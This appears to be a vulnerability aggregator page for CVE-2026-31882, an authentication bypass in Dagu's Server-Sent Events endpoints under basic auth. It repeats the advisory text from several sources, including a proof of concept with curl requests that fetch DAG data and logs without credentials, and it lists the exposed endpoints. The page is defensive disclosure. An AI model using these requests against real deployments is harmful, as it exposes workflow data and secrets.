CVE-2026-31882
Dagu SSE Authentication Bypass in Basic Auth Mode
Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, when Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API. The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value). The authentication middleware at internal/service/frontend/auth/middleware.go allows unauthenticated requests when AuthRequired is false. This vulnerability is fixed in 2.2.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
Dagu SSE Authentication Bypass in Basic Auth Mode
Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, when Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API. The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value). The authentication middleware at internal/service/frontend/auth/middleware.go allows unauthenticated requests when AuthRequired is false. This vulnerability is fixed in 2.2.4.
- Record
CVE-2026-31882- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
EUVDEUVD-2026-12087
7.5
Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, when Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API. The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value). The authentication middleware at internal/service/frontend/auth/middleware.go allows unauthenticated requests when AuthRequired is false. This vulnerability is fixed in 2.2.4.
- Record
EUVD-2026-12087- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9wmw-9wph-2vwp
7.5
Dagu: SSE Authentication Bypass in Basic Auth Mode
SSE Authentication Bypass in Basic Auth Mode
Summary
When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.
Severity
HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Affected Versions
- dagu v2.2.3 (latest) and likely all versions with basic auth support
Affected Component
internal/service/frontend/server.go — buildStreamAuthOptions() function (lines 1177–1201)
Root Cause
The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):
// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
// AuthRequired is NOT set — defaults to false
}
}
The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:
// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
next.ServeHTTP(w, r)
return
}
The developers left a FIXME comment (line 1193) acknowledging this issue:
// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.
Exposed SSE Endpoints
All SSE routes are affected (server.go:1004-1019):
| Endpoint | Data Leaked |
|----------|-------------|
| /api/v1/events/dags | All DAG names, descriptions, file paths, schedules, tags, execution status |
| /api/v1/events/dags/{fileName} | Individual DAG configuration details |
| /api/v1/events/dags/{fileName}/dag-runs | DAG execution history |
| /api/v1/events/dag-runs | All active DAG runs across the system |
| /api/v1/events/dag-runs/{name}/{dagRunId} | Specific DAG run status and node details |
| /api/v1/events/dag-runs/{name}/{dagRunId}/logs | Execution logs (may contain secrets, credentials, API keys) |
| /api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} | Step-level stdout/stderr logs |
| /api/v1/events/queues | Queue status and pending work items |
| /api/v1/events/queues/{name}/items | Queue item details |
| /api/v1/events/docs-tree | Documentation tree |
| /api/v1/events/docs/* | Documentation content |
Additionally, the Agent SSE stream uses the same auth options (server.go:1166).
Proof of Concept
Setup
# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all
Verify REST API requires auth
# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401
# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200
Exploit SSE bypass
# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags
Output (truncated):
event: connected
data: {"topic":"dagslist:"}
event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
# Access execution logs without credentials
curl -s -N…
- Record
GHSA-9wmw-9wph-2vwp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
NVD
7.5
Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, when Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API. The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value). The authentication middleware at internal/service/frontend/auth/middleware.go allows unauthenticated requests when AuthRequired is false. This vulnerability is fixed in 2.2.4.
- Record
CVE-2026-31882- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
OSV
7.5
Dagu SSE Authentication Bypass in Basic Auth Mode
Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, when Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API. The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value). The authentication middleware at internal/service/frontend/auth/middleware.go allows unauthenticated requests when AuthRequired is false. This vulnerability is fixed in 2.2.4.
- Record
CVE-2026-31882- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
OSVGHSA-9wmw-9wph-2vwp
7.5
Dagu: SSE Authentication Bypass in Basic Auth Mode
SSE Authentication Bypass in Basic Auth Mode
Summary
When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.
Severity
HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Affected Versions
- dagu v2.2.3 (latest) and likely all versions with basic auth support
Affected Component
internal/service/frontend/server.go — buildStreamAuthOptions() function (lines 1177–1201)
Root Cause
The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):
// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
return auth.Options{
Realm: realm,
BasicAuthEnabled: true,
Creds: map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
// AuthRequired is NOT set — defaults to false
}
}
The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:
// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
next.ServeHTTP(w, r)
return
}
The developers left a FIXME comment (line 1193) acknowledging this issue:
// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.
Exposed SSE Endpoints
All SSE routes are affected (server.go:1004-1019):
| Endpoint | Data Leaked |
|----------|-------------|
| /api/v1/events/dags | All DAG names, descriptions, file paths, schedules, tags, execution status |
| /api/v1/events/dags/{fileName} | Individual DAG configuration details |
| /api/v1/events/dags/{fileName}/dag-runs | DAG execution history |
| /api/v1/events/dag-runs | All active DAG runs across the system |
| /api/v1/events/dag-runs/{name}/{dagRunId} | Specific DAG run status and node details |
| /api/v1/events/dag-runs/{name}/{dagRunId}/logs | Execution logs (may contain secrets, credentials, API keys) |
| /api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} | Step-level stdout/stderr logs |
| /api/v1/events/queues | Queue status and pending work items |
| /api/v1/events/queues/{name}/items | Queue item details |
| /api/v1/events/docs-tree | Documentation tree |
| /api/v1/events/docs/* | Documentation content |
Additionally, the Agent SSE stream uses the same auth options (server.go:1166).
Proof of Concept
Setup
# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all
Verify REST API requires auth
# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401
# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200
Exploit SSE bypass
# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags
Output (truncated):
event: connected
data: {"topic":"dagslist:"}
event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
# Access execution logs without credentials
curl -s -N…
- Record
GHSA-9wmw-9wph-2vwp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-306
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
dagunpm |
before 2.2.4 | 2.2.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-31882 is a high vulnerability (CVSS 7.5) in Dagu, published March 13, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.83%, the 57th percentile. Fixed in dagu 2.2.4.
References
github.com/dagu-org/dagu/security/advisories/GHSA-9wmw-9wph-2vwp
github.com/dagu-org/dagu/pull/1752
github.com/dagu-org/dagu/commit/064616c9b80c04824c1c7c357308f77f3f24d775
github.com/dagu-org/dagu/releases/tag/v2.2.4
nvd.nist.gov/vuln/detail/CVE-2026-31882
github.com/advisories/GHSA-9wmw-9wph-2vwp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/31xxx/CVE-2026-31882.json
github.com/dagu-org/dagu
Left out here: the rest of 2 source descriptions. The JSON record has them.